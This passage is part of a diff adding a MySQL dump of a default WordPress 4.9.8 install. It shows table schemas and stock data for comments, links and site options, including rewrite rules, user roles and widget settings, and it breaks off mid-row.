14	+	/!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 /;
15	+	/!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' /;
16	+	/!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 /;
17	+
18	+	--
19	+	-- Table structure for table `wp_commentmeta`
20	+	--
21	+
22	+	DROP TABLE IF EXISTS `wp_commentmeta`;
23	+	/!40101 SET @saved_cs_client = @@character_set_client /;
24	+	/!40101 SET character_set_client = utf8 /;
25	+	CREATE TABLE `wp_commentmeta` (
26	+	`meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
27	+	`comment_id` bigint(20) unsigned NOT NULL DEFAULT '0',
28	+	`meta_key` varchar(255) COLLATE utf8mb4_unicode_520_ci DEFAULT NULL,
29	+	`meta_value` longtext COLLATE utf8mb4_unicode_520_ci,
30	+	PRIMARY KEY (`meta_id`),
31	+	KEY `comment_id` (`comment_id`),
32	+	KEY `meta_key` (`meta_key`(191))
33	+	) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
34	+	/!40101 SET character_set_client = @saved_cs_client /;
35	+
36	+	--
37	+	-- Dumping data for table `wp_commentmeta`
38	+	--
39	+
40	+	LOCK TABLES `wp_commentmeta` WRITE;
41	+	/!40000 ALTER TABLE `wp_commentmeta` DISABLE KEYS /;
42	+	/!40000 ALTER TABLE `wp_commentmeta` ENABLE KEYS /;
43	+	UNLOCK TABLES;
44	+
45	+	--
46	+	-- Table structure for table `wp_comments`
47	+	--
48	+
49	+	DROP TABLE IF EXISTS `wp_comments`;
50	+	/!40101 SET @saved_cs_client = @@character_set_client /;
51	+	/!40101 SET character_set_client = utf8 /;
52	+	CREATE TABLE `wp_comments` (
53	+	`comment_ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
54	+	`comment_post_ID` bigint(20) unsigned NOT NULL DEFAULT '0',
55	+	`comment_author` tinytext COLLATE utf8mb4_unicode_520_ci NOT NULL,
56	+	`comment_author_email` varchar(100) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
57	+	`comment_author_url` varchar(200) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
58	+	`comment_author_IP` varchar(100) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
59	+	`comment_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
60	+	`comment_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
61	+	`comment_content` text COLLATE utf8mb4_unicode_520_ci NOT NULL,
62	+	`comment_karma` int(11) NOT NULL DEFAULT '0',
63	+	`comment_approved` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '1',
64	+	`comment_agent` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
65	+	`comment_type` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
66	+	`comment_parent` bigint(20) unsigned NOT NULL DEFAULT '0',
67	+	`user_id` bigint(20) unsigned NOT NULL DEFAULT '0',
68	+	PRIMARY KEY (`comment_ID`),
69	+	KEY `comment_post_ID` (`comment_post_ID`),
70	+	KEY `comment_approved_date_gmt` (`comment_approved`,`comment_date_gmt`),
71	+	KEY `comment_date_gmt` (`comment_date_gmt`),
72	+	KEY `comment_parent` (`comment_parent`),
73	+	KEY `comment_author_email` (`comment_author_email`(10))
74	+	) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
75	+	/!40101 SET character_set_client = @saved_cs_client /;
76	+
77	+	--
78	+	-- Dumping data for table `wp_comments`
79	+	--
80	+
81	+	LOCK TABLES `wp_comments` WRITE;
82	+	/!40000 ALTER TABLE `wp_comments` DISABLE KEYS /;
83	+	INSERT INTO `wp_comments` VALUES (1,1,'A WordPress Commenter','[email protected]','https://wordpress.org/','','2019-02-25 05:43:35','2019-02-25 05:43:35','Hi, this is a comment.\nTo get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.\nCommenter avatars come from <a href=\"https://gravatar.com\">Gravatar</a>.',0,'1','','',0,0);
84	+	/!40000 ALTER TABLE `wp_comments` ENABLE KEYS /;
85	+	UNLOCK TABLES;
86	+
87	+	--
88	+	-- Table structure for table `wp_links`
89	+	--
90	+
91	+	DROP TABLE IF EXISTS `wp_links`;
92	+	/!40101 SET @saved_cs_client = @@character_set_client /;
93	+	/!40101 SET character_set_client = utf8 /;
94	+	CREATE TABLE `wp_links` (
95	+	`link_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
96	+	`link_url` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
97	+	`link_name` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
98	+	`link_image` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
99	+	`link_target` varchar(25) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
100	+	`link_description` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
101	+	`link_visible` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'Y',
102	+	`link_owner` bigint(20) unsigned NOT NULL DEFAULT '1',
103	+	`link_rating` int(11) NOT NULL DEFAULT '0',
104	+	`link_updated` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
105	+	`link_rel` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
106	+	`link_notes` mediumtext COLLATE utf8mb4_unicode_520_ci NOT NULL,
107	+	`link_rss` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
108	+	PRIMARY KEY (`link_id`),
109	+	KEY `link_visible` (`link_visible`)
110	+	) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
111	+	/!40101 SET character_set_client = @saved_cs_client /;
112	+
113	+	--
114	+	-- Dumping data for table `wp_links`
115	+	--
116	+
117	+	LOCK TABLES `wp_links` WRITE;
118	+	/!40000 ALTER TABLE `wp_links` DISABLE KEYS /;
119	+	/!40000 ALTER TABLE `wp_links` ENABLE KEYS /;
120	+	UNLOCK TABLES;
121	+
122	+	--
123	+	-- Table structure for table `wp_options`
124	+	--
125	+
126	+	DROP TABLE IF EXISTS `wp_options`;
127	+	/!40101 SET @saved_cs_client = @@character_set_client /;
128	+	/!40101 SET character_set_client = utf8 /;
129	+	CREATE TABLE `wp_options` (
130	+	`option_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
131	+	`option_name` varchar(191) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '',
132	+	`option_value` longtext COLLATE utf8mb4_unicode_520_ci NOT NULL,
133	+	`autoload` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'yes',
134	+	PRIMARY KEY (`option_id`),
135	+	UNIQUE KEY `option_name` (`option_name`)
136	+	) ENGINE=InnoDB AUTO_INCREMENT=135 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_520_ci;
137	+	/!40101 SET character_set_client = @saved_cs_client /;
138	+
139	+	--
140	+	-- Dumping data for table `wp_options`
141	+	--
142	+
143	+	LOCK TABLES `wp_options` WRITE;
144	+	/!40000 ALTER TABLE `wp_options` DISABLE KEYS /;
145	+	INSERT INTO `wp_options` VALUES (1,'siteurl','http://180.76.234.24/wp4.9.8','yes'),(2,'home','http://180.76.234.24/wp4.9.8','yes'),(3,'blogname','wordpress4.9.8','yes'),(4,'blogdescription','Just another WordPress site','yes'),(5,'users_can_register','0','yes'),(6,'admin_email','[email protected]','yes'),(7,'start_of_week','1','yes'),(8,'use_balanceTags','0','yes'),(9,'use_smilies','1','yes'),(10,'require_name_email','1','yes'),(11,'comments_notify','1','yes'),(12,'posts_per_rss','10','yes'),(13,'rss_use_excerpt','0','yes'),(14,'mailserver_url','mail.example.com','yes'),(15,'mailserver_login','[email protected]','yes'),(16,'mailserver_pass','password','yes'),(17,'mailserver_port','110','yes'),(18,'default_category','1','yes'),(19,'default_comment_status','open','yes'),(20,'default_ping_status','open','yes'),(21,'default_pingback_flag','0','yes'),(22,'posts_per_page','10','yes'),(23,'date_format','F j, Y','yes'),(24,'time_format','g:i a','yes'),(25,'links_updated_date_format','F j, Y g:i a','yes'),(26,'comment_moderation','0','yes'),(27,'moderation_notify','1','yes'),(28,'permalink_structure','/index.php/%year%/%monthnum%/%day%/%postname%/','yes'),(29,'rewrite_rules','a:74:{s:11:\"^wp-json/?$\";s:22:\"index.php?rest_route=/\";s:14:\"^wp-json/(.)?\";s:33:\"index.php?rest_route=/$matches[1]\";s:21:\"^index.php/wp-json/?$\";s:22:\"index.php?rest_route=/\";s:24:\"^index.php/wp-json/(.)?\";s:33:\"index.php?rest_route=/$matches[1]\";s:48:\".wp-(atom\|rdf\|rss\|rss2\|feed\|commentsrss2)\\.php$\";s:18:\"index.php?feed=old\";s:20:\".wp-app\\.php(/.)?$\";s:19:\"index.php?error=403\";s:18:\".wp-register.php$\";s:23:\"index.php?register=true\";s:42:\"index.php/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:27:\"index.php?&feed=$matches[1]\";s:37:\"index.php/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:27:\"index.php?&feed=$matches[1]\";s:18:\"index.php/embed/?$\";s:21:\"index.php?&embed=true\";s:30:\"index.php/page/?([0-9]{1,})/?$\";s:28:\"index.php?&paged=$matches[1]\";s:51:\"index.php/comments/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:42:\"index.php?&feed=$matches[1]&withcomments=1\";s:46:\"index.php/comments/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:42:\"index.php?&feed=$matches[1]&withcomments=1\";s:27:\"index.php/comments/embed/?$\";s:21:\"index.php?&embed=true\";s:54:\"index.php/search/(.+)/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:40:\"index.php?s=$matches[1]&feed=$matches[2]\";s:49:\"index.php/search/(.+)/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:40:\"index.php?s=$matches[1]&feed=$matches[2]\";s:30:\"index.php/search/(.+)/embed/?$\";s:34:\"index.php?s=$matches[1]&embed=true\";s:42:\"index.php/search/(.+)/page/?([0-9]{1,})/?$\";s:41:\"index.php?s=$matches[1]&paged=$matches[2]\";s:24:\"index.php/search/(.+)/?$\";s:23:\"index.php?s=$matches[1]\";s:57:\"index.php/author/([^/]+)/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:50:\"index.php?author_name=$matches[1]&feed=$matches[2]\";s:52:\"index.php/author/([^/]+)/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:50:\"index.php?author_name=$matches[1]&feed=$matches[2]\";s:33:\"index.php/author/([^/]+)/embed/?$\";s:44:\"index.php?author_name=$matches[1]&embed=true\";s:45:\"index.php/author/([^/]+)/page/?([0-9]{1,})/?$\";s:51:\"index.php?author_name=$matches[1]&paged=$matches[2]\";s:27:\"index.php/author/([^/]+)/?$\";s:33:\"index.php?author_name=$matches[1]\";s:79:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:80:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]\";s:74:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:80:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]\";s:55:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/embed/?$\";s:74:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&embed=true\";s:67:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:81:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&paged=$matches[4]\";s:49:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$\";s:63:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]\";s:66:\"index.php/([0-9]{4})/([0-9]{1,2})/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:64:\"index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]\";s:61:\"index.php/([0-9]{4})/([0-9]{1,2})/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:64:\"index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]\";s:42:\"index.php/([0-9]{4})/([0-9]{1,2})/embed/?$\";s:58:\"index.php?year=$matches[1]&monthnum=$matches[2]&embed=true\";s:54:\"index.php/([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:65:\"index.php?year=$matches[1]&monthnum=$matches[2]&paged=$matches[3]\";s:36:\"index.php/([0-9]{4})/([0-9]{1,2})/?$\";s:47:\"index.php?year=$matches[1]&monthnum=$matches[2]\";s:53:\"index.php/([0-9]{4})/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:43:\"index.php?year=$matches[1]&feed=$matches[2]\";s:48:\"index.php/([0-9]{4})/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:43:\"index.php?year=$matches[1]&feed=$matches[2]\";s:29:\"index.php/([0-9]{4})/embed/?$\";s:37:\"index.php?year=$matches[1]&embed=true\";s:41:\"index.php/([0-9]{4})/page/?([0-9]{1,})/?$\";s:44:\"index.php?year=$matches[1]&paged=$matches[2]\";s:23:\"index.php/([0-9]{4})/?$\";s:26:\"index.php?year=$matches[1]\";s:68:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:78:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:98:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:93:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:93:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:74:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:63:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/embed/?$\";s:91:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&embed=true\";s:67:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/trackback/?$\";s:85:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&tb=1\";s:87:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:97:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&feed=$matches[5]\";s:82:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:97:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&feed=$matches[5]\";s:75:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/page/?([0-9]{1,})/?$\";s:98:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&paged=$matches[5]\";s:82:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/comment-page-([0-9]{1,})/?$\";s:98:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&cpage=$matches[5]\";s:71:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)(?:/([0-9]+))?/?$\";s:97:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&name=$matches[4]&page=$matches[5]\";s:57:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:67:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:87:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:82:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:82:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:63:\"index.php/[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:74:\"index.php/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/comment-page-([0-9]{1,})/?$\";s:81:\"index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&cpage=$matches[4]\";s:61:\"index.php/([0-9]{4})/([0-9]{1,2})/comment-page-([0-9]{1,})/?$\";s:65:\"index.php?year=$matches[1]&monthnum=$matches[2]&cpage=$matches[3]\";s:48:\"index.php/([0-9]{4})/comment-page-([0-9]{1,})/?$\";s:44:\"index.php?year=$matches[1]&cpage=$matches[2]\";s:37:\"index.php/.?.+?/attachment/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:47:\"index.php/.?.+?/attachment/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:67:\"index.php/.?.+?/attachment/([^/]+)/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:62:\"index.php/.?.+?/attachment/([^/]+)/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:62:\"index.php/.?.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:43:\"index.php/.?.+?/attachment/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:26:\"index.php/(.?.+?)/embed/?$\";s:41:\"index.php?pagename=$matches[1]&embed=true\";s:30:\"index.php/(.?.+?)/trackback/?$\";s:35:\"index.php?pagename=$matches[1]&tb=1\";s:50:\"index.php/(.?.+?)/feed/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:47:\"index.php?pagename=$matches[1]&feed=$matches[2]\";s:45:\"index.php/(.?.+?)/(feed\|rdf\|rss\|rss2\|atom)/?$\";s:47:\"index.php?pagename=$matches[1]&feed=$matches[2]\";s:38:\"index.php/(.?.+?)/page/?([0-9]{1,})/?$\";s:48:\"index.php?pagename=$matches[1]&paged=$matches[2]\";s:45:\"index.php/(.?.+?)/comment-page-([0-9]{1,})/?$\";s:48:\"index.php?pagename=$matches[1]&cpage=$matches[2]\";s:34:\"index.php/(.?.+?)(?:/([0-9]+))?/?$\";s:47:\"index.php?pagename=$matches[1]&page=$matches[2]\";}','yes'),(30,'hack_file','0','yes'),(31,'blog_charset','UTF-8','yes'),(32,'moderation_keys','','no'),(33,'active_plugins','a:0:{}','yes'),(34,'category_base','','yes'),(35,'ping_sites','http://rpc.pingomatic.com/','yes'),(36,'comment_max_links','2','yes'),(37,'gmt_offset','0','yes'),(38,'default_email_category','1','yes'),(39,'recently_edited','','no'),(40,'template','twentyseventeen','yes'),(41,'stylesheet','twentyseventeen','yes'),(42,'comment_whitelist','1','yes'),(43,'blacklist_keys','','no'),(44,'comment_registration','0','yes'),(45,'html_type','text/html','yes'),(46,'use_trackback','0','yes'),(47,'default_role','subscriber','yes'),(48,'db_version','38590','yes'),(49,'uploads_use_yearmonth_folders','1','yes'),(50,'upload_path','','yes'),(51,'blog_public','0','yes'),(52,'default_link_category','2','yes'),(53,'show_on_front','posts','yes'),(54,'tag_base','','yes'),(55,'show_avatars','1','yes'),(56,'avatar_rating','G','yes'),(57,'upload_url_path','','yes'),(58,'thumbnail_size_w','150','yes'),(59,'thumbnail_size_h','150','yes'),(60,'thumbnail_crop','1','yes'),(61,'medium_size_w','300','yes'),(62,'medium_size_h','300','yes'),(63,'avatar_default','mystery','yes'),(64,'large_size_w','1024','yes'),(65,'large_size_h','1024','yes'),(66,'image_default_link_type','none','yes'),(67,'image_default_size','','yes'),(68,'image_default_align','','yes'),(69,'close_comments_for_old_posts','0','yes'),(70,'close_comments_days_old','14','yes'),(71,'thread_comments','1','yes'),(72,'thread_comments_depth','5','yes'),(73,'page_comments','0','yes'),(74,'comments_per_page','50','yes'),(75,'default_comments_page','newest','yes'),(76,'comment_order','asc','yes'),(77,'sticky_posts','a:0:{}','yes'),(78,'widget_categories','a:2:{i:2;a:4:{s:5:\"title\";s:0:\"\";s:5:\"count\";i:0;s:12:\"hierarchical\";i:0;s:8:\"dropdown\";i:0;}s:12:\"_multiwidget\";i:1;}','yes'),(79,'widget_text','a:0:{}','yes'),(80,'widget_rss','a:0:{}','yes'),(81,'uninstall_plugins','a:0:{}','no'),(82,'timezone_string','','yes'),(83,'page_for_posts','0','yes'),(84,'page_on_front','0','yes'),(85,'default_post_format','0','yes'),(86,'link_manager_enabled','0','yes'),(87,'finished_splitting_shared_terms','1','yes'),(88,'site_icon','0','yes'),(89,'medium_large_size_w','768','yes'),(90,'medium_large_size_h','0','yes'),(91,'wp_page_for_privacy_policy','3','yes'),(92,'show_comments_cookies_opt_in','0','yes'),(93,'initial_db_version','38590','yes'),(94,'wp_user_roles','a:5:{s:13:\"administrator\";a:2:{s:4:\"name\";s:13:\"Administrator\";s:12:\"capabilities\";a:61:{s:13:\"switch_themes\";b:1;s:11:\"edit_themes\";b:1;s:16:\"activate_plugins\";b:1;s:12:\"edit_plugins\";b:1;s:10:\"edit_users\";b:1;s:10:\"edit_files\";b:1;s:14:\"manage_options\";b:1;s:17:\"moderate_comments\";b:1;s:17:\"manage_categories\";b:1;s:12:\"manage_links\";b:1;s:12:\"upload_files\";b:1;s:6:\"import\";b:1;s:15:\"unfiltered_html\";b:1;s:10:\"edit_posts\";b:1;s:17:\"edit_others_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:10:\"edit_pages\";b:1;s:4:\"read\";b:1;s:8:\"level_10\";b:1;s:7:\"level_9\";b:1;s:7:\"level_8\";b:1;s:7:\"level_7\";b:1;s:7:\"level_6\";b:1;s:7:\"level_5\";b:1;s:7:\"level_4\";b:1;s:7:\"level_3\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:17:\"edit_others_pages\";b:1;s:20:\"edit_published_pages\";b:1;s:13:\"publish_pages\";b:1;s:12:\"delete_pages\";b:1;s:19:\"delete_others_pages\";b:1;s:22:\"delete_published_pages\";b:1;s:12:\"delete_posts\";b:1;s:19:\"delete_others_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:20:\"delete_private_posts\";b:1;s:18:\"edit_private_posts\";b:1;s:18:\"read_private_posts\";b:1;s:20:\"delete_private_pages\";b:1;s:18:\"edit_private_pages\";b:1;s:18:\"read_private_pages\";b:1;s:12:\"delete_users\";b:1;s:12:\"create_users\";b:1;s:17:\"unfiltered_upload\";b:1;s:14:\"edit_dashboard\";b:1;s:14:\"update_plugins\";b:1;s:14:\"delete_plugins\";b:1;s:15:\"install_plugins\";b:1;s:13:\"update_themes\";b:1;s:14:\"install_themes\";b:1;s:11:\"update_core\";b:1;s:10:\"list_users\";b:1;s:12:\"remove_users\";b:1;s:13:\"promote_users\";b:1;s:18:\"edit_theme_options\";b:1;s:13:\"delete_themes\";b:1;s:6:\"export\";b:1;}}s:6:\"editor\";a:2:{s:4:\"name\";s:6:\"Editor\";s:12:\"capabilities\";a:34:{s:17:\"moderate_comments\";b:1;s:17:\"manage_categories\";b:1;s:12:\"manage_links\";b:1;s:12:\"upload_files\";b:1;s:15:\"unfiltered_html\";b:1;s:10:\"edit_posts\";b:1;s:17:\"edit_others_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:10:\"edit_pages\";b:1;s:4:\"read\";b:1;s:7:\"level_7\";b:1;s:7:\"level_6\";b:1;s:7:\"level_5\";b:1;s:7:\"level_4\";b:1;s:7:\"level_3\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:17:\"edit_others_pages\";b:1;s:20:\"edit_published_pages\";b:1;s:13:\"publish_pages\";b:1;s:12:\"delete_pages\";b:1;s:19:\"delete_others_pages\";b:1;s:22:\"delete_published_pages\";b:1;s:12:\"delete_posts\";b:1;s:19:\"delete_others_posts\";b:1;s:22:\"delete_published_posts\";b:1;s:20:\"delete_private_posts\";b:1;s:18:\"edit_private_posts\";b:1;s:18:\"read_private_posts\";b:1;s:20:\"delete_private_pages\";b:1;s:18:\"edit_private_pages\";b:1;s:18:\"read_private_pages\";b:1;}}s:6:\"author\";a:2:{s:4:\"name\";s:6:\"Author\";s:12:\"capabilities\";a:10:{s:12:\"upload_files\";b:1;s:10:\"edit_posts\";b:1;s:20:\"edit_published_posts\";b:1;s:13:\"publish_posts\";b:1;s:4:\"read\";b:1;s:7:\"level_2\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:12:\"delete_posts\";b:1;s:22:\"delete_published_posts\";b:1;}}s:11:\"contributor\";a:2:{s:4:\"name\";s:11:\"Contributor\";s:12:\"capabilities\";a:5:{s:10:\"edit_posts\";b:1;s:4:\"read\";b:1;s:7:\"level_1\";b:1;s:7:\"level_0\";b:1;s:12:\"delete_posts\";b:1;}}s:10:\"subscriber\";a:2:{s:4:\"name\";s:10:\"Subscriber\";s:12:\"capabilities\";a:2:{s:4:\"read\";b:1;s:7:\"level_0\";b:1;}}}','yes'),(95,'fresh_site','1','yes'),(96,'widget_search','a:2:{i:2;a:1:{s:5:\"title\";s:0:\"\";}s:12:\"_multiwidget\";i:1;}','yes'),(97,'widget_recent-posts','a:2:{i:2;a:2:{s:5:\"title\";s:0:\"\";s:6:\"number\";i:5;}s:12:\"_multiwidget\";i:1;}','yes'),(98,'widget_recent-comments','a:2:{i:2;a:2:{s:5:\"title\";s:0:\"\";s:6:\"number\";i:5;}s:12:\"_multiwidget\";i:1;}','yes'),(99,'widget_archives','a:2:{i:2;a:3:{s:5:\"title\";s:0:\"\";s:5:\"count\";i:0;s:8:\"dropdown\";i:0;}s:12:\"_multiwidget\";i:1;}','yes'),(100,'widget_meta','a:2:{i:2;a:1:{s:5:\"title\";s:0:\"\";}s:12:\"_multiwidget\";i:1;}','yes'),(101,'sidebars_widgets','a:5:{s:19:\"wp_inactive_widgets\";a:0:{}s:9:\"sidebar-1\";a:6:{i:0;s:8:\"search-2\";i:1;s:14:\"recent-posts-2\";i:2;s:17:\"recent-comments-2\";i:3;s:10:\"archives-2\";i:4;s:12:\"categories-2\";i:5;s:6:\"meta-2\";}s:9:\"sidebar-2\";a:0:{}s:9:\"sidebar-3\";a:0:{}s:13:\"array_version\";i:3;}','yes'),(102,'widget_pages','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(103,'widget_calendar','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(104,'widget_media_audio','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(105,'widget_media_image','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(106,'widget_media_gallery','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(107,'widget_media_video','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(108,'nonce_key','wz;(Ng351Qo#<0a:%SK2Cixbd^&-oolWn)iu?$&`6w;(>!pJ`.)]QJ7(xD@VY<l<','no'),(109,'nonce_salt','<~`58FsZO&SVNiZ?/SRF=XO-lR%T!.GYthKjnRdrpSgH}BFFzAxU:>15)c;_~iP','no'),(110,'widget_tag_cloud','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(111,'widget_nav_menu','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(112,'widget_custom_html','a:1:{s:12:\"_multiwidget\";i:1;}','yes'),(113,'cron','a:4:{i:1551077015;a:1:{s:34:\"wp_privacy_delete_old_export_files\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}i:1551116615;a:3:{s:16:\"wp_version_check\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s: